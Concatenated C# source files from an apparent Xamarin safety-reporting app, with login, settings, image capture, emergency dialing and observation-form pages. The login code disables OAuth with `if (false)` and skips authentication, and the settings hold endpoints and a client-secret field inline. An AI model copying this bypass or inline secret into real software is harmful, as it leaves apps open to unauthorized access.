}
}
}
<file_sep>using System;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Resources;
using Xamarin.Forms;
using Rg.Plugins.Popup.Extensions;
using Rg.Plugins.Popup.Pages;
using GSK_Saftey.Pages.PopUps;
using Rg.Plugins.Popup.Services;
using GSK_Saftey.Settings;
using Xamarin.Auth;
using GSK_Saftey.Helpers.OAuthAuthentication;
using System.Diagnostics;
using Newtonsoft.Json;
using System.Linq;
namespace GSK_Saftey.Pages
{
public class LoginPageViewModel : BaseViewModel
{
Account account;
AccountStore store;
public ICommand LoginCommand { get; private set; }
public LoginPageViewModel()
{
store = AccountStore.Create();
account = store.FindAccountsForService(AppSetting.Current.SAMLConfigs.AppName).FirstOrDefault();
LoginCommand = new Command(LogIn);
}
private void LogIn()
{
if (false)
{
var authenticator = new OAuth2Authenticator(
AppSetting.Current.SAMLConfigs.ClientId,
null,
AppSetting.Current.SAMLConfigs.Scope,
new Uri(AppSetting.Current.SAMLConfigs.AuthorizeUrl),
new Uri(AppSetting.Current.SAMLConfigs.RedirectUrl),
new Uri(AppSetting.Current.SAMLConfigs.AccessTokenUrl),
null,
true);
authenticator.Completed += OnAuthCompleted;
authenticator.Error += OnAuthError;
AuthenticationState.Authenticator = authenticator;
var presenter = new Xamarin.Auth.Presenters.OAuthLoginPresenter();
presenter.Login(authenticator);
}
this.SetAsMainPage(new PreferencePage(new PreferencePageViewModel()));
}
public async void OnAuthCompleted(object sender, AuthenticatorCompletedEventArgs e)
{
var authenticator = sender as OAuth2Authenticator;
if (authenticator != null)
{
authenticator.Completed -= OnAuthCompleted;
authenticator.Error -= OnAuthError;
}
//User user = null;
if (e.IsAuthenticated)
{
// If the user is authenticated, request their basic user data from Google
// UserInfoUrl = https://www.googleapis.com/oauth2/v2/userinfo
var request = new OAuth2Request("GET", new Uri(AppSetting.Current.SAMLConfigs.UserInfoUrl), null, e.Account);
var response = await request.GetResponseAsync();
if (response != null)
{
// Deserialize the data and store it in the account store
// The users email address will be used to identify data in SimpleDB
string userJson = await response.GetResponseTextAsync();
//user = JsonConvert.DeserializeObject<User>(userJson);
}
if (account != null)
{
store.Delete(account, AppSetting.Current.SAMLConfigs.AppName);
}
await store.SaveAsync(account = e.Account, AppSetting.Current.SAMLConfigs.AppName);
}
}
public void OnAuthError(object sender, AuthenticatorErrorEventArgs e)
{
var authenticator = sender as OAuth2Authenticator;
if (authenticator != null)
{
authenticator.Completed -= OnAuthCompleted;
authenticator.Error -= OnAuthError;
}
Debug.WriteLine("Authentication error: " + e.Message);
}
}
}
<file_sep>using System;
using CoreAnimation;
using CoreGraphics;
using GSK_Saftey.iOS.CustomRenderers;
using GSK_Saftey.Pages;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(BasePage), typeof(BasePageRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class BasePageRenderer : PageRenderer
{
public BasePageRenderer()
{
}
protected override void OnElementChanged(VisualElementChangedEventArgs e)
{
base.OnElementChanged(e);
if (e.OldElement == null)
{
var page = e.NewElement as BasePage;
var gradientLayer = new CAGradientLayer();
gradientLayer.Frame = View.Bounds;
gradientLayer.Colors = new CGColor[] { page.StartColor.ToCGColor(), page.EndColor.ToCGColor() };
gradientLayer.StartPoint = new CGPoint(x: 0.0, y: 0.5);
gradientLayer.EndPoint = new CGPoint(x: 1.0, y: 0.5);
View.Layer.InsertSublayer(gradientLayer, 0);
}
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using Plugin.Messaging;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class EmergencyPageViewModel : BaseViewModel
{
public ICommand ButtonReportCommand { get; private set; }
public ICommand OpenKeyboardCommand { private set; get; }
public EmergencyPageViewModel()
{
ButtonReportCommand = new Command(async () => await OnButtonReportCommand());
OpenKeyboardCommand = new Command<string>(OnOpenKeyboard);
}
private async Task OnButtonReportCommand()
{
await NavigateToAsync(new ReportSafetyObservationPage(new ReportSafetyObservationPageViewModel(new SafetyObservation(),true)));
}
private void OnOpenKeyboard(string number)
{
switch (number)
{
case "3000":
number = "+3210 85 3000";
break;
case "9000":
number = "+3281 55 9000";
break;
case "6000":
number = "+322 656 6000";
break;
case "5000":
number = "+3210 85 5000";
break;
}
var phoneDialer = CrossMessaging.Current.PhoneDialer;
if (phoneDialer.CanMakePhoneCall)
{
phoneDialer.MakePhoneCall(number);
}
else
{
Device.OpenUri(new Uri( "tel:" + number));
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.ContentViews
{
public class SaveCancelView : CustomContentView
{
public CustomControl.CustomImageButton cancelImageButton;
public CustomControl.CustomImageButton saveImageButton;
public SaveCancelView()
{
saveImageButton = new CustomControl.CustomImageButton(AppResources.Save, Images.SaveSmallImage, AppSetting.Current.Colors.OrangeColor, AppSetting.Current.FontSize.Large - 1, null);
saveImageButton.stack.Spacing = 3;
saveImageButton.HorizontalOptions = LayoutOptions.Start;
saveImageButton.image.HeightRequest = ScreenWidth * 0.060;
cancelImageButton = new CustomControl.CustomImageButton(AppResources.Cancel, Images.CancelImage, AppSetting.Current.Colors.OrangeColor, AppSetting.Current.FontSize.Large - 1, null);
cancelImageButton.stack.Spacing = 3;
cancelImageButton.HorizontalOptions = LayoutOptions.End;
cancelImageButton.gridMain.HorizontalOptions = LayoutOptions.End;
cancelImageButton.label.HorizontalOptions = LayoutOptions.End;
cancelImageButton.stack.HorizontalOptions = LayoutOptions.End;
cancelImageButton.image.HorizontalOptions = LayoutOptions.End;
cancelImageButton.image.HeightRequest = ScreenWidth * 0.060;
cancelImageButton.button.Clicked += Button_Clicked;
var gridMain = CreateGrid();
gridMain.Children.Add(saveImageButton, 0,1,0,1);
gridMain.Children.Add(cancelImageButton, 1,2,0,1);
Content = gridMain;
}
private CustomGrid CreateGrid()
{
var grid = new CustomGrid()
{
Margin = new Thickness(0,0,0,20),
RowDefinitions = {
new RowDefinition { Height = ScreenWidth * 0.060 },
},
ColumnDefinitions = {
new ColumnDefinition { Width = new GridLength(1, GridUnitType.Star) },
new ColumnDefinition { Width = new GridLength(1, GridUnitType.Star) },
}
};
return grid;
}
public async void Button_Clicked(object sender, EventArgs e)
{
await Application.Current.MainPage.Navigation.PopToRootAsync(true);
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class XFCustomButton : Button
{
public XFCustomButton()
{
}
}
}
<file_sep>using System;
using CoreGraphics;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomTimePicker), typeof(CustomTimePickerRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomTimePickerRenderer : TimePickerRenderer
{
public CustomTimePickerRenderer()
{
}
protected override void OnElementChanged(ElementChangedEventArgs<TimePicker> e)
{
base.OnElementChanged(e);
var element = e.NewElement as CustomTimePicker;
Control.BorderStyle = UITextBorderStyle.None;
Control.LeftView = new UIView(new CGRect(0, 0, 10, 0));
Control.LeftViewMode = UITextFieldViewMode.Always;
if (element != null)
{
Control.SetFont(element);
}
}
}
}
<file_sep>using System;
using XFBase.CustomUI;
namespace GSK_Saftey.Helpers.CustomControls
{
public class CustomEditor : XFCustomEditor
{
private bool isthin;
/// <summary>
/// Gets or Sets Roboto - Thin font style.
/// </summary>
public bool IsThin
{
get
{
return isthin;
}
set
{
isthin = value;
OnPropertyChanged();
}
}
public CustomEditor()
{
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class CustomGrid : Grid
{
public CustomGrid()
{
this.Padding = new Thickness(0);
this.Margin = new Thickness(0);
this.ColumnSpacing = 0;
this.RowSpacing = 0;
}
public void AddColumn(double width, GridUnitType type = GridUnitType.Absolute)
{
this.ColumnDefinitions.Add(new ColumnDefinition() { Width = new GridLength(width, type) });
}
public void AddRow(double height, GridUnitType type = GridUnitType.Absolute)
{
this.RowDefinitions.Add(new RowDefinition() { Height = new GridLength(height, type) });
}
public void Add(View view, int left, int right, int top, int bottom)
{
this.Children.Add(view, left, right, top, bottom);
}
public void AddItemsInColumn(View[] views, int left, int right, int startRow)
{
int nextTop = startRow;
foreach (var item in views)
{
int nextBottom = nextTop + 1;
Children.Add(item, left, right, nextTop, nextBottom);
nextTop++;
}
}
}
}<file_sep>using GSK_Saftey.Helpers.PlatformServices.Images;
using GSK_Saftey.Settings;
using Plugin.Media;
using Plugin.Media.Abstractions;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using Xamarin.Forms;
namespace GSK_Saftey.Helpers.ImageService
{
public static class ImageServices
{
public async static Task<ImageData> GetImageData(byte[] byteArray)
{
ImageData imageData = new ImageData();
if (Device.RuntimePlatform == Device.Android || Device.RuntimePlatform == Device.iOS)
{
imageData = DependencyService.Get<IResizeImage>().GetImageData(byteArray);
}
else if (Device.RuntimePlatform == Device.UWP)
{
var imageresultUWP = await DependencyService.Get<IResizeImage>().GetImageDataAsyncUWP(byteArray);
imageData = imageresultUWP;
}
return imageData;
}
public async static Task<byte[]> ResizeImage(byte[] imageData, float width, float height, int quality)
{
if (Device.RuntimePlatform == Device.Android || Device.RuntimePlatform == Device.iOS)
{
var imageDataReturn = DependencyService.Get<IResizeImage>().ResizeImage(imageData, width, height, quality);
return imageDataReturn;
}
else
{
var imageresultUWP = await DependencyService.Get<IResizeImage>().ResizeImageUWP(imageData, width, height, quality);
return imageresultUWP;
}
}
public static async Task<ImagePath> PickPhotoAsync()
{
ImagePath imagePath = new ImagePath();
try
{
var isPermissiongranted = await AppPermissions.CheckPhonnePermissions(Plugin.Permissions.Abstractions.Permission.Storage);
if (isPermissiongranted == false)
{
return null;
}
await CrossMedia.Current.Initialize();
var options = new PickMediaOptions();
//Return that file path to be saved to sqlite db
Plugin.Media.Abstractions.MediaFile file = await CrossMedia.Current.PickPhotoAsync(options);
if (file == null)
{
return null;
}
imagePath = ReturnImagePath(file);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return imagePath;
}
public static async Task<ImagePath> TakePhotoAsync()
{
ImagePath imagePath = new ImagePath();
try
{
var isPermissiongranted = await AppPermissions.CheckPhonnePermissions(Plugin.Permissions.Abstractions.Permission.Camera);
if (isPermissiongranted == false)
{
return null;
}
await CrossMedia.Current.Initialize();
if (!CrossMedia.Current.IsCameraAvailable || !CrossMedia.Current.IsTakePhotoSupported)
{
return null;
}
Plugin.Media.Abstractions.MediaFile file = await CrossMedia.Current.TakePhotoAsync(new Plugin.Media.Abstractions.StoreCameraMediaOptions()
{
Directory = AppSetting.Current.SAMLConfigs.AppName,
Name = DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds + ".jpg",
SaveToAlbum = true,
});
if (file == null)
{
return null;
}
imagePath = ReturnImagePath(file);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
return imagePath;
}
private static ImagePath ReturnImagePath(MediaFile file)
{
var imagePath = new ImagePath();
using (var memoryStream = new MemoryStream())
{
file.GetStream().CopyTo(memoryStream);
imagePath.ImageByteArray = memoryStream.ToArray();
imagePath.PathImage = file.Path;
file.Dispose();
return imagePath;
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.SQLite;
using GSK_Saftey.Settings.Configs;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
namespace GSK_Saftey.Settings
{
public class AppSetting
{
private static bool isInitialized = false;
private readonly static AppSetting current = new AppSetting();
public static AppSetting Current
{
get
{
if (!isInitialized)
{
throw new ArgumentNullException("AppSetting is not initialized. Do not use AppSetting.Current before initialization.");
}
return current;
}
}
public DebugSettings Debug { get; set; } = new DebugSettings()
{
CurentEnvironment = EnvironmentEnum.DEV,
IsDebuging = false,
};
public FontSizes FontSize { get; set; } = new FontSizes();
public ColorConstants Colors { get; set; } = new ColorConstants();
public GskSafetyDB GskSafetyDB { get; set; } = new GskSafetyDB();
public SAMLConfigorations SAMLConfigs { get; set; } = new SAMLConfigorations()
{
AppName = "GSKSafety",
Scope = "ZEHS_SAFETY_OBS_SRV_0001",
AuthorizeUrl = "https://federation-qa.gsk.com/as/authorization.oauth2?client_id=GSKMEHS01OA&response_type=code",
AccessTokenUrl = "https://federation-qa.gsk.com/as/token.oauth2",
UserInfoUrl = "https://www.googleapis.com/oauth2/v2/userinfo",
ClientSecret = "<KEY>"
};
public AppSetting()
{
}
public static void Init()
{
isInitialized = true;
Current.SetUp();
}
public void SetUp()
{
switch (Device.RuntimePlatform)
{
case Device.iOS:
SAMLConfigs.ClientId = "451849498498498849849784*";
SAMLConfigs.RedirectUrl = "xamarin-auth:/oauth2redirect"; //ClientId Reversed
break;
case Device.UWP:
SAMLConfigs.ClientId = "451849498498498849849784";
SAMLConfigs.RedirectUrl = "http://accounts.google.com/oauth2redirect/oauth2redirect";
break;
case Device.Android:
SAMLConfigs.ClientId = "GSKMEHS01OA";
SAMLConfigs.RedirectUrl = "com.gsk.ehs.mehs01:/oauth2redirect";
break;
default:
break;
}
switch (Debug.CurentEnvironment)
{
case EnvironmentEnum.DEV:
break;
case EnvironmentEnum.PRODUCTION:
break;
case EnvironmentEnum.TEST:
break;
case EnvironmentEnum.VALIDATION:
break;
default:
break;
}
}
}
}
<file_sep>using System;
using CoreGraphics;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomEntry), typeof(CustomEntryRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomEntryRenderer : EntryRenderer
{
public CustomEntryRenderer()
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Entry> e)
{
base.OnElementChanged(e);
var entry = e.NewElement as CustomEntry;
Control.BorderStyle = UITextBorderStyle.None;
Control.LeftView = new UIView(new CGRect(0, 0, 10, 0));
Control.LeftViewMode = UITextFieldViewMode.Always;
if (entry != null)
{
Control.SetFont(entry);
}
}
}
}
<file_sep>using Xamarin.Forms;
namespace XFBase.CustomUI
{
public class XFCustomListView : ListView
{
public XFCustomListView(ListViewCachingStrategy cachingStrategy) : base(cachingStrategy)
{
}
}
}<file_sep>using System;
using CoreGraphics;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomDatePicker), typeof(CustomDatePickerRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomDatePickerRenderer : DatePickerRenderer
{
public CustomDatePickerRenderer()
{
}
protected override void OnElementChanged(ElementChangedEventArgs<DatePicker> e)
{
base.OnElementChanged(e);
var datePicker = e.NewElement as CustomDatePicker;
Control.BorderStyle = UITextBorderStyle.None;
Control.LeftView = new UIView(new CGRect(0, 0, 10, 0));
Control.LeftViewMode = UITextFieldViewMode.Always;
if (datePicker != null)
{
Control.SetFont(datePicker);
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using XFBase.SQLite.Repository;
namespace GSK_Saftey.Helpers.SQLite
{
public class GskSafetyDB
{
public Repository Repository;
public GskSafetyDB()
{
Repository = new Repository();
}
public void CreateTables()
{
Repository.CreateTableLocal<Preference>();
Repository.CreateTableLocal<SafetyObservation>();
}
public void DropTables()
{
}
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class ImagesOfObservationPage : BasePage
{
CustomImageButton buttonImageNext;
StepBarView stepBar;
SaveCancelView saveCancelView;
CustomStackLayout stackMain;
CustomScrollView scrollView;
ImageView imageViewFirst, imageViewSecond;
private int currentStep = 6;
private ImagesOfObservationPageViewModel ViewModel
{
get => BindingContext as ImagesOfObservationPageViewModel;
set => BindingContext = value;
}
public ImagesOfObservationPage(ImagesOfObservationPageViewModel viewModel)
{
this.Title = AppResources.ImagesOfObservation;
this.ViewModel = viewModel;
Init();
}
private void Init()
{
#region Declarations
// StepBarView
stepBar = new StepBarView(currentStep);
stepBar.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
// Image Views
imageViewFirst = new ImageView();
imageViewFirst.buttonTakePicture.CommandParameter = 1;
imageViewFirst.tapGesture.CommandParameter = 1;
imageViewSecond = new ImageView();
imageViewSecond.buttonTakePicture.CommandParameter = 2;
imageViewSecond.tapGesture.CommandParameter = 2;
// Buttons
buttonImageNext = CreateImageButton(AppResources.Next, Images.NextImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageNext.button.HeightRequest = ScreenHeight * 0.065;
buttonImageNext.button.WidthRequest = ScreenWidth * 0.800;
buttonImageNext.image.HeightRequest = ScreenHeight * 0.040;
buttonImageNext.image.WidthRequest = ScreenHeight * 0.040;
// Layouts
saveCancelView = new SaveCancelView();
stackMain = new CustomStackLayout();
stackMain.Spacing = ScreenHeight * 0.050;
scrollView = new CustomScrollView();
scrollView.WidthRequest = ScreenWidth * 0.800;
scrollView.HorizontalOptions = LayoutOptions.Center;
#endregion
#region Bindings
SetBindigs();
#endregion
#region Fill Layouts
stackMain.Children.Add(stepBar);
stackMain.Children.Add(imageViewFirst);
stackMain.Children.Add(imageViewSecond);
stackMain.Children.Add(buttonImageNext);
stackMain.Children.Add(saveCancelView);
scrollView.Content = stackMain;
this.Content = scrollView;
#endregion
}
private void SetBindigs()
{
imageViewFirst.buttonTakePicture.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonTakePictureCommand));
imageViewFirst.buttonTakePicture.SetBinding(Button.IsVisibleProperty, nameof(ViewModel.IsFirstTakePictureButtonVissible));
imageViewFirst.stackDefault.SetBinding(Grid.IsVisibleProperty, nameof(ViewModel.IsFirstDefaultGridVissible));
imageViewFirst.imageSelected.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.FirstGridImageSource));
imageViewFirst.imageSelected.SetBinding(CachedImage.IsVisibleProperty, nameof(ViewModel.IsFirstImageGridVissible));
imageViewFirst.imageDelete.SetBinding(CachedImage.IsVisibleProperty, nameof(ViewModel.IsFirstImageGridVissible));
imageViewFirst.tapGesture.SetBinding(TapGestureRecognizer.CommandProperty, nameof(ViewModel.DeleteCommand));
imageViewFirst.boxView.SetBinding(BoxView.IsVisibleProperty, nameof(ViewModel.IsFirstDefaultGridVissible));
imageViewSecond.buttonTakePicture.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonTakePictureCommand));
imageViewSecond.buttonTakePicture.SetBinding(Button.IsVisibleProperty, nameof(ViewModel.IsSecondTakePictureButtonVissible));
imageViewSecond.stackDefault.SetBinding(Grid.IsVisibleProperty, nameof(ViewModel.IsSecondDefaultGridVissible));
imageViewSecond.imageSelected.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.SecondGridImageSource));
imageViewSecond.imageSelected.SetBinding(CachedImage.IsVisibleProperty, nameof(ViewModel.IsSecondImageGridVissible));
imageViewSecond.imageDelete.SetBinding(CachedImage.IsVisibleProperty, nameof(ViewModel.IsSecondImageGridVissible));
imageViewSecond.tapGesture.SetBinding(TapGestureRecognizer.CommandProperty, nameof(ViewModel.DeleteCommand));
imageViewSecond.boxView.SetBinding(BoxView.IsVisibleProperty, nameof(ViewModel.IsSecondDefaultGridVissible));
buttonImageNext.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonNextCommand));
saveCancelView.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSaveCommand));
}
protected override void OnAppearing()
{
base.OnAppearing();
ViewModel.Subscribe();
}
protected override void OnDisappearing()
{
base.OnDisappearing();
ViewModel.UnSubscribe();
}
}
}
<file_sep>using System;
using CoreGraphics;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomEditor), typeof(CustomEditorRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomEditorRenderer : EditorRenderer
{
public CustomEditorRenderer()
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Editor> e)
{
base.OnElementChanged(e);
var editor = e.NewElement as CustomEditor;
if (editor != null)
{
Control.SetFont(editor);
}
}
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Enums;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class PotentialConsequencesPage : BasePage
{
ConsequencesCell consequences_1;
ConsequencesCell consequences_2;
ConsequencesCell consequences_3;
ConsequencesCell consequences_4;
ConsequencesCell consequences_5;
ConsequencesCell consequences_6;
ConsequencesCell consequences_7;
ConsequencesCell consequences_8;
ConsequencesCell consequences_9;
SaveCancelView saveCancelButtons;
CustomImageButton buttonNext;
private PotentialConsequencesPageViewModel ViewModel
{
get => BindingContext as PotentialConsequencesPageViewModel;
set => BindingContext = value;
}
public PotentialConsequencesPage(PotentialConsequencesPageViewModel viewModel)
{
Title = AppResources.PotentialConsequence;
ViewModel = viewModel;
//Layouts
var stackMain = CreateStackLayout();
stackMain.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
stackMain.Spacing = ScreenHeight * 0.040;
stackMain.WidthRequest = ScreenWidth * 0.800;
stackMain.HorizontalOptions = LayoutOptions.Center;
var stackConsequences = CreateStackLayout();
stackConsequences.WidthRequest = ScreenWidth * 0.740;
stackConsequences.HorizontalOptions = LayoutOptions.Center;
stackConsequences.Spacing = ScreenHeight * 0.030;
if (Device.Idiom == TargetIdiom.Tablet)
{
stackMain.Spacing = ScreenHeight * 0.030;
}
//Views
var stepBar = new StepBarView(5);
consequences_1 = new ConsequencesCell(AppResources.StripTripFails);
consequences_2 = new ConsequencesCell(AppResources.Ergonomy);
consequences_3 = new ConsequencesCell(AppResources.MachineToolsSharp);
consequences_4 = new ConsequencesCell(AppResources.ObjectsForeignBody);
consequences_5 = new ConsequencesCell(AppResources.BioExposure);
consequences_6 = new ConsequencesCell(AppResources.WorkingEnvironment);
consequences_7 = new ConsequencesCell(AppResources.ChemicalExposure);
consequences_8 = new ConsequencesCell(AppResources.HotColdSubstance);
consequences_9 = new ConsequencesCell(AppResources.HotSurface);
consequences_1.button.CommandParameter = ConsequencesEnum.StripTripFails;
consequences_2.button.CommandParameter = ConsequencesEnum.Ergonomy;
consequences_3.button.CommandParameter = ConsequencesEnum.MachineToolsSharp;
consequences_4.button.CommandParameter = ConsequencesEnum.ObjectsForeignBody;
consequences_5.button.CommandParameter = ConsequencesEnum.BioExposure;
consequences_6.button.CommandParameter = ConsequencesEnum.WorkingEnvironment;
consequences_7.button.CommandParameter = ConsequencesEnum.ChemicalExposure;
consequences_8.button.CommandParameter = ConsequencesEnum.HotColdSubstance;
consequences_9.button.CommandParameter = ConsequencesEnum.HotSurface;
buttonNext = CreateImageButton(AppResources.Next, Images.NextImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonNext.button.HeightRequest = ScreenHeight * 0.065;
buttonNext.button.WidthRequest = ScreenWidth * 0.800;
buttonNext.image.HeightRequest = ScreenHeight * 0.040;
buttonNext.image.WidthRequest = ScreenHeight * 0.040;
saveCancelButtons = new SaveCancelView();
saveCancelButtons.WidthRequest = ScreenWidth * 0.800;
saveCancelButtons.HorizontalOptions = LayoutOptions.Center;
//Bindings
CreateBindings();
//FillLayout
stackConsequences.Children.Add(consequences_1);
stackConsequences.Children.Add(consequences_2);
stackConsequences.Children.Add(consequences_3);
stackConsequences.Children.Add(consequences_4);
stackConsequences.Children.Add(consequences_5);
stackConsequences.Children.Add(consequences_6);
stackConsequences.Children.Add(consequences_7);
stackConsequences.Children.Add(consequences_8);
stackConsequences.Children.Add(consequences_9);
stackMain.Children.Add(stepBar);
stackMain.Children.Add(stackConsequences);
stackMain.Children.Add(buttonNext);
stackMain.Children.Add(saveCancelButtons);
var scrolView = new CustomScrollView
{
HorizontalOptions = LayoutOptions.CenterAndExpand,
};
scrolView.Content = stackMain;
Content = scrolView;
}
private void CreateBindings()
{
saveCancelButtons.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.SaveComand));
buttonNext.button.SetBinding(Button.CommandProperty, nameof(ViewModel.NextCommand));
consequences_1.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_1.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorStripFall));
consequences_1.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedStripFall));
consequences_1.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.StripLabelsColors));
consequences_1.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinStripAttributes));
consequences_1.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.StripLabelsColors));
consequences_1.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.StripFallSource));
consequences_2.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_2.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorErgonomy));
consequences_2.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedErgonomy));
consequences_2.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.ErgonomylabelsColors));
consequences_2.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinErgonomyAttributes));
consequences_2.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.ErgonomylabelsColors));
consequences_2.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.ErgonomySource));
consequences_3.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_3.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorMachines));
consequences_3.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedMachines));
consequences_3.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.MachineslabelsColors));
consequences_3.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinmachinesAttributes));
consequences_3.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.MachineslabelsColors));
consequences_3.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.MachinesSource));
consequences_4.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_4.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorObjects));
consequences_4.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedObjects));
consequences_4.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.ObjectslabelsColors));
consequences_4.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinObjectsAttributes));
consequences_4.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.ObjectslabelsColors));
consequences_4.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.ObjectsSource));
consequences_5.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_5.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorBioExposure));
consequences_5.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedBioExposure));
consequences_5.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.BioExposurelabelsColors));
consequences_5.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinBioExposureAttributes));
consequences_5.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.BioExposurelabelsColors));
consequences_5.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.BioExposureSource));
consequences_6.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
consequences_6.frame.SetBinding(Frame.BackgroundColorProperty, nameof(ViewModel.BackgroundColorWorkingEnv));
consequences_6.labelConsequences.SetBinding(Label.TextProperty, nameof(ViewModel.SelectedWorkingEnv));
consequences_6.labelConsequences.SetBinding(Label.TextColorProperty, nameof(ViewModel.WorkingEnvlabelsColors));
consequences_6.labelInfo.SetBinding(CustomLabel.IsThinProperty, nameof(ViewModel.IsThinWorkingEnvironmentAttributes));
consequences_6.labelInfo.SetBinding(Label.TextColorProperty, nameof(ViewModel.WorkingEnvlabelsColors));
consequences_6.image.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.WorkingEnvironmentSource));
consequences_7.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ConsequencesComand));
